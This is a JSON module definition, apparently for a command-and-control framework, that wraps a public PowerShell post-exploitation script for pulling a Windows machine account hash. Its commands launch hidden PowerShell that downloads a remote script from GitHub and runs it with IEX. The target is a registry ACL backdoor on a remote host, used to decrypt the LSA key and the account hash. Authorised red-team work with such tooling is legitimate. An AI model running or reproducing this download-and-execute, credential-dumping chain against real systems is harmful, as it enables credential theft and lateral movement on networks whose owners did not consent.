{
  "base": {
    "name": "Get-RemoteMachineAccountHash",
    "type": "standard",
    "author": ["Russel Van Tuyl (@Ne0nd0g)"],
    "credits": ["Matt Nelson (@enigma0x3)", "Lee Christensen (@tifkin_)", "Will Schroeder (@harmj0y)"],
    "path": ["windows", "x64", "powershell", "persistence", "Get-RemoteMachineAccountHash.json"],
    "platform": "windows",
    "arch": "x64",
    "lang": "powershell",
    "privilege": true,
    "remote": "https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1",
    "local": ["data", "src", "HarmJ0y", "DAMP", "RemoteHashRetrieval.ps1"],
    "options": [
      {"name": "ComputerName", "value": null, "required": false, "flag": "-ComputerName", "description":"Specifies the hostname to retrieve the local machine account hash for. Defaults to localhost."},
      {"name": "Verbose", "value": null, "required": false, "flag": "-Verbose", "description":"Enable verbose output"}
    ],
    "description": "Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.",
    "notes": "Opens up the remote registry instance specified by -ComputerName, retrieves the SysKey/bootkey with Get-RemoteBootKey, uses the BootKey to decrypt the LSA key, and finally uses the LSA key to decrypt the MachineAccount hash of the remote system.",
    "commands": [
      "powershell.exe",
      "-nop",
      "-w", "0",
      "\"IEX",
      "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1');",
      "Get-RemoteMachineAccountHash",
      "{{ComputerName}}",
      "{{Verbose.Flag}}",
      "\""
    ]
  }
}